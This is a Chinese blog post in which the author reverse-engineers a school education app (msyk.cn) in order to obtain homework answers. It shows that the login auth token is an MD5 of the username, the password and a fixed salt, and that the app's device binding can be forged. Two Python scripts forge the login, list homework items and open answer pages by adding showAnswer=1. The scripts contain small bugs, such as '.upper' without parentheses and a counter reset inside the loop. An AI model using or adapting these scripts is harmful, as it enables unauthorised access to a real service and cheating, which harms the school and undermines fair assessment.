【补档】 某教育app获取作业答案

前言

学校买了个教育平板，用某教育app来上课 交作业 考试等
笔者心生歹意，便有了以下研究
为了保护我自己，账号的各种信息经过打码/修改等处理。

研究app

行为

当启动时，app会获取设备mac地址，并向平板的MDM发送广播来获取设备SN号，以验证此设备是否为账户绑定的设备。

抓包

话不多说，直接开抓。
首先来看登录的部分

可以看出提交了账号 auth mac地址 安卓API 获取到的SN 时间戳 key等信息
把时间戳和key删掉 同样可以正常返回数据
来看返回的json

里面包含了各种信息

auth原理

看起来是32位的md5
我们来看看app 从启动的Activity一直往下看
最终发现了这个

可以看出，auth应该是账号+密码+HHOO用md5计算而来的

伪造登录

用python写个简单的发包并获取数据的程序

import hashlib
import json
import requests
import webbrowser

def string_to_md5(string):
    md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
    return md5_val

def open_url(url):
    webbrowser.open_new(url)

def post(postdata,ua):
    headers = {'user-agent': ua}
    try:
        req=requests.post(url="https://padapp.msyk.cn/ws/app/padLogin",data=postdata,headers=headers)
        return req.text
    except:
        print("网络异常")
        exit(1)

user=input("用户名:")
pwd=input("密码:")
mac=input("mac:").upper
api=input("安卓API:")
sn=input("SN(区分大小写):")
dataup={"userName":user,"auth":string_to_md5(user+pwd+"HHOO"),"macAddress":mac,"versionCode":api,"sn":sn}
res=post(dataup,"okhttp/3.12.1")

if json.loads(res).get('code')=="10000":
    avatar=json.loads(res).get('InfoMap').get('avatarUrl')
    open_url(avatar)
    print(res)
    exit(0)
else:
    print(json.loads(res).get('message'))
    exit(1)

（代码混乱 轻喷）

获取作业信息

来看看这是如何获取作业信息的

这里去掉了时间戳和key，同样可以正常返回数据

这里会返回一个resourceList 里面存有各题的id

看答案

随便找一个能查看答案的作业，发现是webview打开的网页
格式如下：

https://www.msyk.cn/webview/newQuestion/singleDoHomework?studentId=xxx&homeworkResourceId=xxx&orderNum=题号&showAnswer=1&unitId=xxx&modifyNum=1

其中studentId和unitId能从登录的返回信息中获取
homeworkResourceId为resourceList里题目的id
直接在浏览器中打开网页查看


代码如下：

import hashlib
import json
import requests
import webbrowser
#字符计算32位md5
def string_to_md5(string):
    md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
    return md5_val
#浏览器新窗口打开链接
def open_url(url):
    webbrowser.open_new(url)
#模拟登录获取用户信息
def loginpost(postdata):
    headers = {'user-agent': "okhttp/3.12.1"}
    try:
        req=requests.post(url="https://padapp.msyk.cn/ws/app/padLogin",data=postdata,headers=headers)
        return req.text
    except:
        print("网络异常")
        exit(1)
#获取作业信息
def anspost(postdata):
    headers = {'user-agent': "okhttp/3.12.1"}
    try:
        req=requests.post(url="https://padapp.msyk.cn/ws/common/homework/homeworkStatus",data=postdata,headers=headers)
        return req.text
    except:
        print("网络异常")
        exit(1)

user=input("用户名:")
pwd=input("密码:")
mac=input("mac:").upper#mac地址要大写
api=input("安卓API:")
sn=input("SN(区分大小写):")
dataup={"userName":user,"auth":string_to_md5(user+pwd+"HHOO"),"macAddress":mac,"versionCode":api,"sn":sn}
res=loginpost(dataup)
#成功登录 获取账号信息
if json.loads(res).get('code')=="10000":
    avatar=json.loads(res).get('InfoMap').get('avatarUrl')
    open_url(avatar)#浏览器打开头像（同时测试能否正常打开浏览器）
    print(res)
    unitId=json.loads(res).get('InfoMap').get('unitId')
    id=json.loads(res).get('InfoMap').get('id')
#登录失败 打印原因
else:
    print(json.loads(res).get('message'))
    exit(1)

hwid=input("作业id:")
dataup={"homeworkId":hwid,"modifyNum":"0","userId":id,"unitId":unitId}
res=anspost(dataup)
hwname=json.loads(res).get('homeworkName')
print(hwname)#作业名
reslist=json.loads(res).get('resourceList')#题目list
list_b = []
for item in reslist:
    count=1
    #浏览器打开带答案的网页
    open_url("https://www.msyk.cn/webview/newQuestion/singleDoHomework?studentId="+id+"&homeworkResourceId="+str(item['id'])+"&orderNum="+str(count)+"&showAnswer=1&unitId="+unitId+"&modifyNum=1")
    count=count+1#题号滚动
    list_b.append(item['id'])
print(list_b)#打印题目id列表

大功告成